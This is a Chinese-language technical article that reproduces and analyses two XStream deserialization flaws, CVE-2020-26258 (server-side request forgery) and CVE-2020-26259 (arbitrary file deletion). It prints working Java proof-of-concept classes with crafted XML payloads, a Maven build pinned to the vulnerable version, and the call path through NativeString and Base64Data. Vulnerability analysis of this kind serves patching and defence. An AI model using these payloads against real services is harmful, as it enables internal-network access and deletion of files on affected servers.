您好,登錄后才能下訂單哦!
XStream反序列化漏洞CVE-2020-26258及26259的復現與分析是怎樣的,相信很多沒有經驗的人對此束手無策,為此本文總結了問題出現的原因和解決方法,通過這篇文章希望你能解決這個問題。
Xstream 是 Java 類庫,用來將對象序列化成 XML (JSON) 或反序列化為對象。XStream 是一款開源軟件,允許在 BSD 許可證的許可下分發。
Xstream上次對CVE-2020-26217處理并不徹底,雖然通過黑名單方法阻止了遠程代碼執行,但是仍然可以采用類似思路實現文件刪除與服務器請求偽造。
Xstream < = 1.4.14
Xstream > = 1.4.15
嚴重
import com.thoughtworks.xstream.XStream;/*CVE-2020-26258: A Server-Side Forgery Request can be activated unmarshallingwith XStream to access data streams from an arbitrary URL referencing a resource in an intranet or the local host.All versions until and including version 1.4.14https://x-stream.github.io/CVE-2020-26258.htmlSecurity framework of XStream not explicitly initialized, using predefined black list on your own risk.*/public class CVE_2020_26258 {public static void main(String[] args) {String ssrf_xml = "<map>\n" +" <entry>\n" +" <jdk.nashorn.internal.objects.NativeString>\n" +" <flags>0</flags>\n" +" <value class='com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data'>\n" +" <dataHandler>\n" +" <dataSource class='javax.activation.URLDataSource'>\n" +" <url>http://localhost:8989/internal/:</url>\n" +" </dataSource>\n" +" <transferFlavors/>\n" +" </dataHandler>\n" +" <dataLen>0</dataLen>\n" +" </value>\n" +" </jdk.nashorn.internal.objects.NativeString>\n" +" <string>test</string>\n" +" </entry>\n" +"</map>";XStream xstream = new XStream();xstream.fromXML(ssrf_xml);}}
import com.thoughtworks.xstream.XStream;/*CVE-2020-26259: XStream is vulnerable to an Arbitrary File Deletion on the local hostwhen unmarshalling as long as the executing process has sufficient rights.https://x-stream.github.io/CVE-2020-26259.htmlSecurity framework of XStream not explicitly initialized, using predefined black list on your own risk.*/public class CVE_2020_26259 {public static void main(String[] args) {String xml_poc = "<map>\n" +" <entry>\n" +" <jdk.nashorn.internal.objects.NativeString>\n" +" <flags>0</flags>\n" +" <value class='com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data'>\n" +" <dataHandler>\n" +" <dataSource class='com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource'>\n" +" <contentType>text/plain</contentType>\n" +" <is class='com.sun.xml.internal.ws.util.ReadAllStream$FileStream'>\n" +" <tempFile>/tmp/CVE-2020-26259</tempFile>\n" +" </is>\n" +" </dataSource>\n" +" <transferFlavors/>\n" +" </dataHandler>\n" +" <dataLen>0</dataLen>\n" +" </value>\n" +" </jdk.nashorn.internal.objects.NativeString>\n" +" <string>test</string>\n" +" </entry>\n" +"</map>";XStream xstream = new XStream();xstream.fromXML(xml_poc);}}
idea 構建maven工程,使用上述 PoC,pom文件為:
<?xml version="1.0" encoding="UTF-8"?><project xmlns="http://maven.apache.org/POM/4.0.0"xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd"><modelVersion>4.0.0</modelVersion><groupId>1</groupId><artifactId>1</artifactId><version>1.0-SNAPSHOT</version><!-- https://mvnrepository.com/artifact/com.thoughtworks.xstream/xstream --><dependencies><dependency><groupId>com.thoughtworks.xstream</groupId><artifactId>xstream</artifactId><version>1.4.14</version></dependency></dependencies></project>
直接運行即可。
復現
CVE-2020-26258
使用 flask 開一個臨時服務
運行 PoC 收到請求
CVE-2020-26259
運行 PoC 前:
運行 PoC 后:
這兩個漏洞基本類似上次的CVE-2020-26217,主要是利用 Xstream 在反序列化map 對象時會檢查是否存在 entry:如果存在,那么在構建這個 entry 的過程中,會調用 entry 的hashCode 函數。CVE-2020-26217與本次兩個都是使用到了jdk.nashorn.internal.objects.NativeString 的 hashCode函數。
使用 xstream 的 fromXml 進行反序列化:
跟進到 putCurrentEntryIntoMap,在 Xstream 構建 entry 的過程中,將本次的key 值即我們提供的 NativeString, put 到 map中:
put 過程會進行一步 hash 操作:
在 hash 里調用了key 的 hashCode 函數,即我們輸入的jdk.nashorn.internal.objects.NativeString 的 hashCode 函數。
NativeString 的 hashCode 函數調用 getStringValue,進而調用其 value 的toString 函數,而這個value則是我們提供的com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data。
Base64Data 的 toString 調用了其 get。
目前為止,這兩個漏洞與CVE-2020-26217一致。CVE-2020-26217 利用的是readFrom 及其后續,不過因為 Xstream 黑名單限制了進行遠程代碼執行,這里利用 getInputStream 與 close 進行 ssrf 和文件刪除。
InputStream is = this.dataHandler.getDataSource().getInputStream();
是觸發ssrf的地方,使用 javax.activation.URLDataSource 的 getInputStream 函數:
URLDataSource 的 getInputStream 函數就是訪問傳入的 url。
文件刪除則是在 ReadAllStream 的 close里進行的。
添加黑名單。
看完上述內容,你們掌握XStream反序列化漏洞CVE-2020-26258及26259的復現與分析是怎樣的的方法了嗎?如果還想學到更多技能或想了解更多相關內容,歡迎關注億速云行業資訊頻道,感謝各位的閱讀!
免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。